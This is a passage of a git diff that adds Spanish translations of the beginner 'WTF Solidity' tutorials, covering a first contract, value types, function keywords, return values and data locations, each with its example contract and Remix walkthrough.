SOLIDITY (para ejecutar código), DESPLEGAR Y EJECUTAR TRANSACCIONES (para desplegar en la blockchain). Podemos crear un contrato de Solidity en blanco haciendo clic en el botón `Crear nuevo archivo`. + + +![Remix Menú](./img/1-1.png) + +## El primer programa en Solidity + +Este primer programa es sencillo, el programa solo contiene 1 linea con un comentario y 3 lineas de código. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HolaWeb3{ + string public _string = "Hola Web3!";} +``` + +Ahora, vamos a desplegar y analizar el código fuente, comprendiendo su estructura básica: + +1. La primera linea es un comentario que indica el identificador de la licencia de software utilizada por el programa. Se esta utilizando la licencia MIT. Si no se indica la licencia utilizada, el programa puede compilar con éxito, pero reportará una advertencia durante la compilación. Los comentarios en Solidity se denotan con "//", seguidos del contenido del comentario (el cual no sera ejecutado por el programa). + +```solidity +// SPDX-License-Identifier: MIT +``` + +2. La segunda linea declara la versión de Solidity utilizada por el archivo fuente, ya que la sintaxis varia entre diferentes versiones. Esta línea de código significa que el archivo fuente no permitirá la compilación por compiladores con versiones inferiores a v0.8.21 y no superiores a v0.9.0 (la segunda condición se proporciona con `^`) + +```solidity +pragma solidity ^0.8.21; +``` + +3. Las lineas 3 y 4 constituyen el cuerpo principal del contrato inteligente. La linea 3 crea un contrato con el nombre `HolaWeb3`. La linea 4 es el contenido del contrato. Aquí se ha creado una variable de cadena llamada `_string` y le asignamos el valor "Hola Web3!". + +```solidity +contract HolaWeb3{ + string public _string = "Hola Web3!";} +``` +Se introducirán los diferentes tipos de variable en Solidity luego. + +## Compilar el código y desplegar + +En el editor, presionar CTRL+S para compilar el código, o dar click en el botón de compilar. + +Después de compilar, clic en el botón de `Deploy` en el menú de mano izquierda para entrar en la página de despliegue. + + ![](./img/1-2.png) + +Por defecto, Remix utiliza la máquina virtual de Javascript para simular la cadena de Ethereum y ejecutar contratos inteligentes, similar a ejecutar en testnet en el navegador. Remix asignará varias cuentas de prueba, cada una con 100ETH (token de prueba). Si se hace clic en `Deploy` (botón amarillo) para desplegar el contrato. + + ![](./img/1-3.png) + +Después de un despliegue exitoso, se verá un contrato llamado `HolaWeb3` debajo. Al hacer clic en la variable `_string`, imprimirá su valor: "Hola Web3!". + +## Resumen + +En este turorial, brevemente introdujimos Solidity, El IDE `Remix` y completamos nuestro primer programa en Solidity - `HolaWeb3`. A partir de ahora, continuaremos con nuestro viaje por Solidity. + +### Materiales recomendados en Solidity: + +1. [Documentación de Solidity](https://docs.soliditylang.org/en/latest/) +2. [Tutorial de Solidity por freeCodeCamp](https://www.youtube.com/watch?v=ipwxYa-F1uY) diff --git a/Languages/es/02_TiposDeValor_es/ValueTypes.sol b/Languages/es/02_TiposDeValor_es/ValueTypes.sol new file mode 100644 index 000000000..262837ef5 --- /dev/null +++ b/Languages/es/02_TiposDeValor_es/ValueTypes.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ValueTypes{ + // Booleanos + bool public _bool = true; + // Operatores booleanos + bool public _bool1 = !_bool; // NOT lógico + bool public _bool2 = _bool && _bool1; // AND lógico + bool public _bool3 = _bool || _bool1; // OR lógico + bool public _bool4 = _bool == _bool1; // igualdad + bool public _bool5 = _bool != _bool1; // desigualdad + + + // Enteros + int public _int = -1; + uint public _uint = 1; + uint256 public _number = 20220330; + // Operatores para variables de tipo entero + uint256 public _number1 = _number + 1; // +,-,*,/ + uint256 public _number2 = 2**2; // exponente + uint256 public _number3 = 7 % 2; // módulo + bool public _numberbool = _number2 > _number3; // mayor que + + + // Tipo de datos para variables de tipo address + address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + address payable public _address1 = payable(_address); // payable address (puede transferir fondos y verificar el saldo) + // Atributos de las variables de tipo address + uint256 public balance = _address1.balance; // saldo en la dirección + + + // Arreglos de bytes de tamaño fijo + bytes32 public _byte32 = "MiniSolidity"; // bytes32: 0x4d696e69536f6c69646974790000000000000000000000000000000000000000 + bytes1 public _byte = _byte32[0]; // bytes1: 0x4d + + + // Enumeración + // Let uint 0, 1, 2 Representa Buy, Hold, Sell + enum ActionSet { Buy, Hold, Sell } + // Crea una variable de tipo enum llamada action + ActionSet action = ActionSet.Buy; + + // Enum puede ser convertido a uint + function enumToUint() external view returns(uint){ + return uint(action); + } +} + diff --git a/Languages/es/02_TiposDeValor_es/img/2-1.png b/Languages/es/02_TiposDeValor_es/img/2-1.png new file mode 100644 index 000000000..2dc5bb1e4 Binary files /dev/null and b/Languages/es/02_TiposDeValor_es/img/2-1.png differ diff --git a/Languages/es/02_TiposDeValor_es/img/2-2.png b/Languages/es/02_TiposDeValor_es/img/2-2.png new file mode 100644 index 000000000..87492fdf4 Binary files /dev/null and b/Languages/es/02_TiposDeValor_es/img/2-2.png differ diff --git a/Languages/es/02_TiposDeValor_es/img/2-3.png b/Languages/es/02_TiposDeValor_es/img/2-3.png new file mode 100644 index 000000000..3ff607ab8 Binary files /dev/null and b/Languages/es/02_TiposDeValor_es/img/2-3.png differ diff --git a/Languages/es/02_TiposDeValor_es/readme.md b/Languages/es/02_TiposDeValor_es/readme.md new file mode 100644 index 000000000..c06d4947a --- /dev/null +++ b/Languages/es/02_TiposDeValor_es/readme.md @@ -0,0 +1,172 @@ +# Tutorial WTF Solidity: 2. Tipos de valor (Value Types) + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +## Tipos de variable + +1. **Tipos de variables**: Booleanas, enteras, etc. Estas variables pasan valores directamente cuando son asignadas. + +2. **Tipos de Referencia**:Se incluyen arreglos y estructuras. Pasan direcciones al asignar y pueden ser modificadas por varios nombres de variable. + +3. **Tipo Mapping**: Tablas hash en Solidity. + +4. **Tipo Función**:La documentación de Solidity clasifica las funciones en tipo de variables, pero son diferentes de otros tipos. +Las voy a colocar en una categoría diferente. + +Solo se presentaran los tipos más comúnmente usados. En este capítulo introduciremos los siguientes tipos de variables. + +## Tipos de variables (Value types) + +### 1. Booleano + +Los booleanos son variables binarias con valores `true` o `false` + +```solidity + // Boolean + bool public _bool = true; +``` + +Operadores para variables de tipo booleano: + +- `!` (NOT lógico) +- `&&` (AND Lógico) +- `||` (OR Lógico) +- `==` (igualdad) +- `!=` (desigualdad) + +Código: + +```solidity + // Operadores booleanos + bool public _bool1 = !_bool; // NOT Lógico + bool public _bool2 = _bool && _bool1; // AND Lógico + bool public _bool3 = _bool || _bool1; // OR Lógico + bool public _bool4 = _bool == _bool1; // igualdad + bool public _bool5 = _bool != _bool1; // desigualdad +``` + +Del anterior código: el valor de la variable `_bool` es `true`; `bool1` es no `_bool` que es `false`; `_bool || _bool1` es `true`; `bool == _bool1` es `false`; y `_bool != _bool1` es `true`. + +**Nota:** Los operadores `&&` y `||` siguen la regla de evaluación de cortocircuito. + + +### 2. Enteros + +Los tipos enteros en Solidity incluyen el entero con signo `int` y los enteros sin signo `uint` + +Código: + +```solidity + // Entero + int public _int = -1; // Entero con signo + uint public _uint = 1; // Entero sin signo + uint256 public _number = 20220330; // 256-bit enteros positivos +``` +Operadores más usados en variables de tipo enteras: + +- Operadores de desigualdad (Los cuales retornan booleans): `<=`, `<`, `==`, `!=`, `>=`, `>` +- Operadores aritméticos: `+`, `-`, `*`, `/`, `%` (módulo), `**` (exponente) + +Código: + +```solidity + // Integer operations + uint256 public _number1 = _number + 1; // +, -, *, / + uint256 public _number2 = 2**2; // Exponente + uint256 public _number3 = 7 % 2; // Modulo + bool public _numberbool = _number2 > _number3; // Mayor que +``` + +Se puede correr el código anterior y revisar los valores de cada variable. + +### 3. Direcciones + +Tipos de direcciones: + +- `address`: Contienen un valor de 20 bytes (tamaño de una dirección de Ethereum). + +- `address payable`: Igual que `address`, pero con métodos adicionales `transfer` y `send`. + +Código: + +```solidity + // Dirección + address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + address payable public _address1 = payable(_address); // payable address (puede transferir fondos y verificar el saldo) + // Atributos de las variables de tipo address + uint256 public balance = _address1.balance; // saldo en la dirección +``` + +### 4. Arreglos de bytes de tamaño fijo + +Tipos de arreglos de bytes en Solidity: + +- Arreglos de bytes de longitud fija: pertenecen a tipos de valor incluyendo `byte`, `bytes8` y `bytes32` etc, dependiendo del tamaño de cada elemento (máximo 32 bytes). El tamaño del arreglo no puede ser modificado después de su declaración. +- Arreglos de bytes de longitud variable: pertenecen a tipo de referencia incluyendo `bytes` , etc. El tamaño del arreglo puede ser modificado después de su declaración. Los veremos con más detalles en los capítulos siguientes + +Código: + +```solidity + // //Arreglos de bytes de longitud fija + bytes32 public _byte32 = "MiniSolidity"; + bytes1 public _byte = _byte32[0]; +``` + +En el código anterior asignamos el valor de `MiniSolidity` a la variable `_bytes32` , o en hexadecimal: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000` +y `_byte` toma el valor del primer byte de `_byte32` que es `0x4d` + +### 5. Enumeración + +La enumeración (`enum`) es un tipo de dato definido por el usuario en Solidity. Se utiliza principalmente para asignar nombre a `uint`, para mantener el código más legible. + +Código: + +```solidity + // Let uint 0, 1, 2 Representa Buy, Hold, Sell + enum ActionSet { Buy, Hold, Sell } + // Crea una variable de tipo enum llamada action + ActionSet action = ActionSet.Buy; +``` + +Se puede convertir fácilmente a `uint`: + +```solidity + // Enum puede ser convertido a uint + function enumToUint() external view returns(uint){ + return uint(action); + } +``` + +`enum` no es un tipo de variable muy popular en Solidity. + +## Demostración en Remix + +- Después de desplegar el contrato, puedes verificar los valores de cada variable. + + + ![2-1.png](./img/2-1.png) + +- Conversión entre enum y uint: + + ![2-2.png](./img/2-2.png) + + ![2-3.png](./img/2-3.png) + +## Resumen + +En este capítulo, introdujimos los tipos de variable en Solidity: tipo valor, tipo referencia, mapping y funciones. Luego presentamos los tipos de variables más comúnmente usados: +Booleano, entero, dirección, arreglo de bytes de tamaño fijo y enumeración. +Cubriremos otros tipos de variables en tutoriales posteriores. diff --git a/Languages/es/03_Funcion_es/Function.sol b/Languages/es/03_Funcion_es/Function.sol new file mode 100644 index 000000000..7fe3440eb --- /dev/null +++ b/Languages/es/03_Funcion_es/Function.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract FunctionTypes{ + uint256 public number = 5; + + constructor() payable {} + + // Tipo de función + // function () {internal|external} [pure|view|payable] [returns ()] + // función default + function add() external{ + number = number + 1; + } + + // pure: no solo la función no guarda ningún dato en la cadena de bloques, sino que tampoco lee ningún dato de la cadena de bloques. + function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number+1; + } + + // view: ningun dato será cambiado + function addView() external view returns(uint256 new_number) { + new_number = number + 1; + } + + // internal: la función solo puede ser llamada dentro del propio contrato y cualquier contrato derivado. + function minus() internal { + number = number - 1; + } + + // external: la función puede ser llamada por EOA/otro contrato + function minusCall() external { + minus(); + } + + //payable: dinero (ETH) puede ser enviado al contrato por medio de esta función + function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; + } +} \ No newline at end of file diff --git a/Languages/es/03_Funcion_es/img/3-1.png b/Languages/es/03_Funcion_es/img/3-1.png new file mode 100644 index 000000000..df47aafb2 Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-1.png differ diff --git a/Languages/es/03_Funcion_es/img/3-2.png b/Languages/es/03_Funcion_es/img/3-2.png new file mode 100644 index 000000000..b39ac19bf Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-2.png differ diff --git a/Languages/es/03_Funcion_es/img/3-3.png b/Languages/es/03_Funcion_es/img/3-3.png new file mode 100644 index 000000000..34157c941 Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-3.png differ diff --git a/Languages/es/03_Funcion_es/img/3-4.png b/Languages/es/03_Funcion_es/img/3-4.png new file mode 100644 index 000000000..63024f4b0 Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-4.png differ diff --git a/Languages/es/03_Funcion_es/img/3-5.png b/Languages/es/03_Funcion_es/img/3-5.png new file mode 100644 index 000000000..3c4ddbe5c Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-5.png differ diff --git a/Languages/es/03_Funcion_es/img/3-6.png b/Languages/es/03_Funcion_es/img/3-6.png new file mode 100644 index 000000000..0acf14db0 Binary files /dev/null and b/Languages/es/03_Funcion_es/img/3-6.png differ diff --git a/Languages/es/03_Funcion_es/readme.md b/Languages/es/03_Funcion_es/readme.md new file mode 100644 index 000000000..e4218876e --- /dev/null +++ b/Languages/es/03_Funcion_es/readme.md @@ -0,0 +1,176 @@ +# WTF Tutorial Solidity: 3. Función + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Sebas G con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +--- + +## Función (Function) + +Este es el formato de una función en Solidity: + +```solidity + function () [internal|external] [pure|view|payable] [returns ()] +``` + +Puede parecer complejo, pero desglosémoslo pieza por pieza (los corchetes cuadrados indican palabras clave opcionales): + + +1. `function`: Para escribir una función, necesitas comenzar con la palabra clave `function`. + +2. ``: El nombre de la función. + +3. `()`: Los tipos y nombres de los parámetros de entrada. + +3. `[internal|external|public|private]`: Especificadores de visibilidad de la función. Especificar explícitamente la visibilidad es una buena práctica, por lo que se debe especificar en cada función. Hay 4 tipos de ellos: + + - `public`: Visible para todos. + + - `private`: Solo puede ser accedido dentro de este contrato, los contratos derivados no pueden usarlo. + + - `external`: Solo puede ser llamado desde otros contratos. Pero también puede ser llamado por `this.f()` dentro del contrato, donde `f` es el nombre de la función. + + - `internal`: Solo puede ser accedido internamente y por contratos que derivan de él. + + **Nota 1**: `public` es la visibilidad predeterminada para las funciones. + + **Nota 2**: `public|private|internal` también puede ser usado en variables de estado. Las variables públicas generarán automáticamente funciones `getter` para consultar valores. + + **Note 3**: La visibilidad predeterminada para las variables de estado es `internal`. + +4. `[pure|view|payable]`: Son palabras clave que dictan el comportamiento de las funciones de Solidity. `payable` (pagable) es fácil de entender. Se puede enviar `ETH` a un contrato con funciones `payable` (pagables). `pure` y `view` se introducen en la próxima sección. + +5. `[returns ()]`: Tipos y nombres de las variables de retorno. + +## WTF es `Pure` y `View`? + +Cuando empecé a aprender `Solidity`, no entendía en absoluto las palabras clave `pure` y `view`, ya que no son comunes en otros lenguajes. `Solidity` agregó estas dos palabras clave debido al costo del gas `(gas fee)`. Las variables de estado del contrato se almacenan en la cadena de bloques, y el costo del gas `(gas fee)` es muy elevado. Si no se reescriben estas funciones no se debe pagar gas `gas`, tampoco se debe pagar gas por llamar a funciones `pure` y `view`. + +Las siguientes acciones se consideran modificaciones del estado: + +1. Escribir en variables de estado. + +2. Emitir eventos. + +3. Crear otros contratos. + +4. Usar `selfdestruct`. + +5. Enviar Ether mediante llamadas a funciones pagables (payable). + +6. Llamar a cualquier función que no esté marcada como view o pure. + +7. Usar llamadas de bajo nivel. + +8. Usar código assembly en líneas de código que contienen ciertos `opcodes`. + + +Hice un dibujo para visualizar `pure` y `view`. En la imagen, la variable de estado está representada por la Princesa Peach, y las palabras clave están representadas por tres personajes diferentes. + +![WHAT is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758) + +- `pure` : Las funciones que contienen la palabra clave `pure` no pueden leer ni escribir variables de estado en la cadena de bloques. Al igual que el pequeño monstruo, no puede ver ni tocar a la Princesa Peach. + +- `view` : Las funciones que contienen la palabra clave `view` pueden leer, pero no escribir, variables de estado en la cadena de bloques. Similar a Mario, capaz de ver a la Princesa pero no puede tocarla. + +- Sin `pure` y `view`: Las funciones pueden leer y escribir variables de estado. Como el `jefe`, que puede hacer lo que quiera. + +## Código + +### 1. pure v.s. view + +Definimos una variable de estado como `number = 5` + +```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.21; + contract FunctionTypes{ + uint256 public number = 5; +``` + +Define una función `add()`, que añade 1 a `number` en cada llamado. + +```solidity + // default + function add() external{ + number = number + 1; + } +``` + +Si `add()` contiene la palabra clave `pure`, por ejemplo, `function add() pure external`, resultará en un error. Esto se debe a que `pure` no puede leer ni escribir variables de estado en el contrato. Entonces, ¿qué puede hacer `pure`? Por ejemplo, puedes pasar un parámetro `_number` a la función, y dejar que la función devuelva `_number + 1`. + +```solidity + // pure + function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number+1; + } +``` + +**Ejemplo:** +![3-3.png](./img/3-3.png) + +Si `add()` contiene `view`, es decir, `function add() view external`, también resultará en un error. Esto se debe a que `view` puede leer, pero no puede escribir variables de estado. Podemos modificar la función de la siguiente manera: + +```solidity + // view + function addView() external view returns(uint256 new_number) { + new_number = number + 1; + } +``` + +**Ejemplo:** +![3-4.png](./img/3-4.png) + +### 2. Internal v.s. external + +```solidity + // internal + function minus() internal { + number = number - 1; + } + + // external + function minusCall() external { + minus(); + } +``` + +Aquí definimos una función `internal minus()`, `number` disminuirá en 1 cada vez que se llame a la función. Dado que la función `internal` solo puede ser llamada dentro del propio contrato, necesitamos definir una función `external minusCall()` para llamar internamente a `minus()`. + +**Ejemplo:** +![3-1.png](./img/3-1.png) + +### 3. Payable + +```solidity + // payable: dinero (ETH) puede ser enviado al contrato por medio de esta función + function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; + } +``` + +Definimos una función `external payable minusPayable()`, la cual llama a `minus()` y devuelve el `balance de ETH` del contrato actual (la palabra clave`this` nos permite consultar la dirección del contrato actual). Dado que la función es `payable`, podemos enviar 1 `ETH` al contrato al llamar a `minusPayable()`. + +![](./img/3-5.png) + +Podemos ver que el balance del contrato es 1 `ETH` en el mensaje de retorno. + +![](./img/3-6.png) + +**Ejemplo:** +![3-2.png](./img/3-2.png) + +## Resumen + +En esta sección, introducimos el tipo de función en `Solidity`. Las palabras clave `pure` y `view` son difíciles de entender, ya que no son comunes en otros lenguajes de programación. No necesitas pagar tarifas de gas por llamar a funciones `pure` o `view`, ya que no modifican los datos en la cadena de bloques. \ No newline at end of file diff --git a/Languages/es/04_Retorno_es/Return.sol b/Languages/es/04_Retorno_es/Return.sol new file mode 100644 index 000000000..422ff4163 --- /dev/null +++ b/Languages/es/04_Retorno_es/Return.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Devolver múltiples variables +// Parámetros de retorno con nombre +// Asignaciones de desestructuración + +contract Return { + // retornando múltiples variables sin nombrarlas + function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); + } + + // retornos con nombre + function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; + } + + //Parámetros de retorno con nombre, también soportan return + function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); + } + + // Se leen los valores de retorno, con asignaciones de desestructuración + function readReturn() public pure{ + // Leer todos los valores de retorno + uint256 _number; + bool _bool; + bool _bool2; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); + + // Leer parte de los valores de retorno, asignaciones de desestructuración + (, _bool2, ) = returnNamed(); + } +} diff --git a/Languages/es/04_Retorno_es/img/4-1.png b/Languages/es/04_Retorno_es/img/4-1.png new file mode 100644 index 000000000..e22ad4fed Binary files /dev/null and b/Languages/es/04_Retorno_es/img/4-1.png differ diff --git a/Languages/es/04_Retorno_es/readme.md b/Languages/es/04_Retorno_es/readme.md new file mode 100644 index 000000000..0f7478498 --- /dev/null +++ b/Languages/es/04_Retorno_es/readme.md @@ -0,0 +1,75 @@ +# Tutorial WTF Solidity : 4. Salida de Función (return/returns) + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Angela Ocando con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@ocandocrypto](https://twitter.com/ocandocrypto) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +En este capítulo, se introducirá la salida de función en `Solidity`, incluyendo el retorno de múltiples valores, retornos con nombre y la lectura completa o parcial de valores de retorno usando asignaciones de desestructuración. + +## Valores de retorno (return y returns) +Hay dos palabras clave relacionadas con la salida de función: `return` y `returns`: +- `returns` se añade después del nombre de la función para declarar el tipo y nombre de las variables que devuelve la función. +- `return` se utiliza en el cuerpo de la función y devuelve las variables deseadas. + +```solidity + // devolviendo múltiples variables sin nombrarlas + function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); + } +``` +En el código anterior, la función `returnMultiple()` tiene múltiples retornos: `returns (uint256, bool, uint256[3] memory)`, y luego se especifican las variables/valores de retorno en el cuerpo de la función con `return (1, true, [uint256 (1), 2,5])`. + +## Retornos con nombre +Se puede indicar el nombre de las variables de retorno en `returns`, para que `Solidity` inicialice automáticamente estas variables, y devuelva automáticamente los valores de estas funciones sin añadir la palabra clave `return`. + +```solidity + // retornos con nombre + function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; + } +``` +En el código anterior, se declara el tipo de variable de retorno y el nombre de la variable con `returns (uint256 _number, bool _bool, uint256[3] memory _array)`. Así, solo se necesita asignar los valores a la variable `_number`, `_bool` y `_array` en el cuerpo de la función, y se devolverán automáticamente. + +Por supuesto, también se pueden devolver variables con la palabra clave `return` en retornos nombrados: +```solidity + //Parámetros de retorno con nombre, también soportan return + function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); + } +``` +## Asignaciones de desestructuración +`Solidity` permite internamente tipos de tuplas, es decir, una lista de objetos de tipos potencialmente diferentes cuyo número es constante en tiempo de compilación. Las tuplas se pueden usar para devolver múltiples valores al mismo tiempo. + +- En las variables declaradas con tipo y asignadas desde la tupla retornada, no todos los elementos tienen que ser especificados (pero el número debe coincidir): +```solidity + uint256 _number; + bool _bool; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); +``` +- Al asignar parte de los valores de retorno: Los componentes pueden omitirse. En el siguiente código, solo se asigna el valor de retorno `_bool2`, pero no `_number` y `_array`: +```solidity + (, _bool2, ) = returnNamed(); +``` + +## Verificar en Remix +- Desplegar el contrato y comprobar los valores de retorno de las funciones. + +![](./img/4-1.png) + + +## Resumen +En esta sección, se introdujeron los valores de retorno para una función `return` y `returns`, incluyendo la devolución de múltiples variables, retornos nombrados y la lectura completa o parcial de valores de retorno usando asignaciones de desestructuración. \ No newline at end of file diff --git a/Languages/es/05_AlmacenamientoInformacion_es/DataStorage.sol b/Languages/es/05_AlmacenamientoInformacion_es/DataStorage.sol new file mode 100644 index 000000000..f2eb9b5d2 --- /dev/null +++ b/Languages/es/05_AlmacenamientoInformacion_es/DataStorage.sol @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract DataStorage { + // La ubicación de los datos de x es en storage. + // Este es el único lugar donde se puede omitir la ubicación de los datos. + uint[] x = [1,2,3]; + + function fStorage() public{ + //Declara una variable de almacenamiento xStorage, apuntando a x. Modificar xStorage también afecta a x + uint[] storage xStorage = x; + xStorage[0] = 100; + } + + function fMemory() public view{ + //Declara una variable xMemory de tipo Memory, copiando x. Modificar xMemory no afecta a x + uint[] memory xMemory = x; + xMemory[0] = 100; + xMemory[1] = 200; + uint[] memory xMemory2 = x; + xMemory2[0] = 300; + } + + function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + //El parámetro es el arreglo calldata, el cual no puede ser modificado + // _x[0] = 0 //Esta modificación devolverá un error + return(_x); + } +} + +contract Variables { + uint public x = 1; + uint public y; + string public z; + + function foo() external{ + // Puedes cambiar el valor de la variable de estado en la función + x = 5; + y = 2; + z = "0xAA"; + } + + function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); + } + + function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); + } +} \ No newline at end of file diff --git a/Languages/es/05_AlmacenamientoInformacion_es/img/5-1.png b/Languages/es/05_AlmacenamientoInformacion_es/img/5-1.png new file mode 100644 index 000000000..25add475a Binary files /dev/null and b/Languages/es/05_AlmacenamientoInformacion_es/img/5-1.png differ diff --git a/Languages/es/05_AlmacenamientoInformacion_es/img/5-2.png b/Languages/es/05_AlmacenamientoInformacion_es/img/5-2.png new file mode 100644 index 000000000..60441d127 Binary files /dev/null and b/Languages/es/05_AlmacenamientoInformacion_es/img/5-2.png differ diff --git a/Languages/es/05_AlmacenamientoInformacion_es/img/5-3.png b/Languages/es/05_AlmacenamientoInformacion_es/img/5-3.png new file mode 100644 index 000000000..b8901ca96 Binary files /dev/null and b/Languages/es/05_AlmacenamientoInformacion_es/img/5-3.png differ diff --git a/Languages/es/05_AlmacenamientoInformacion_es/img/5-4.png b/Languages/es/05_AlmacenamientoInformacion_es/img/5-4.png new file mode 100644 index 000000000..fc09f10f8 Binary files /dev/null and b/Languages/es/05_AlmacenamientoInformacion_es/img/5-4.png differ diff --git a/Languages/es/05_AlmacenamientoInformacion_es/readme.md b/Languages/es/05_AlmacenamientoInformacion_es/readme.md new file mode 100644 index 000000000..ac130e579 --- /dev/null +++ b/Languages/es/05_AlmacenamientoInformacion_es/readme.md @@ -0,0 +1,147 @@ +# Tutorial WTF Solidity : 5. Almacenamiento de Datos y Alcance + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Angela Ocando con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@ocandocrypto](https://twitter.com/ocandocrypto) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +## Tipos de referencia en Solidity +- **Tipos de referencia**: Los tipos de referencia difieren de los tipos de valor en que no almacenan valores directamente por sí mismos. En su lugar, los tipos de referencia almacenan la dirección/puntero de la ubicación de los datos y no comparten directamente los datos. Se pueden modificar los datos subyacentes con diferentes nombres de variables. Los tipos de referencia `array`, `struct` y `mapping`, que ocupan mucho espacio de almacenamiento se deben usar por medio de la ubicación del almacenamiento de datos. + +## Ubicación de datos +Hay tres tipos de ubicaciones de almacenamiento de datos en solidity: `storage`, `memory` y `calldata`. Los costos de gas son diferentes para cada tipo de almacenamiento. + +Los datos de una variable tipo `storage` se almacenan en la `blockchain`, similar al disco duro de una computadora, y consume mucho `gas`; mientras que los datos de las variables `memory` y `calldata` se almacenan temporalmente en memoria, y consumen menos gas. + +Uso general: + +1. `storage`: Las variables de estado son `storage` por defecto, es decir, se almacenan `on-chain`. + +2. `memory`: Los parámetros y variables temporales en la función generalmente usan la etiqueta `memory`, que se almacena en memoria (`off-chain`) y no `on-chain`. + +3. `calldata`: Similar a `memory`, es almacenado en memoria, no `on-chain`. La diferencia de `memory` es que las variables `calldata` no pueden ser modificadas, y generalmente se usan para parámetros de función. Ejemplo: + +```solidity + function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + //El parámetro es el arreglo calldata, que no puede ser modificado. + // _x[0] = 0 //Esta modificación lanzará un error. + return(_x); + } +``` + +**Ejemplo:** +![5-1.png](./img/5-1.png) + +### Ubicación de datos y comportamiento de asignación + +Las ubicaciones de datos no solo son relevantes para la persistencia de datos, sino también para la semántica de las 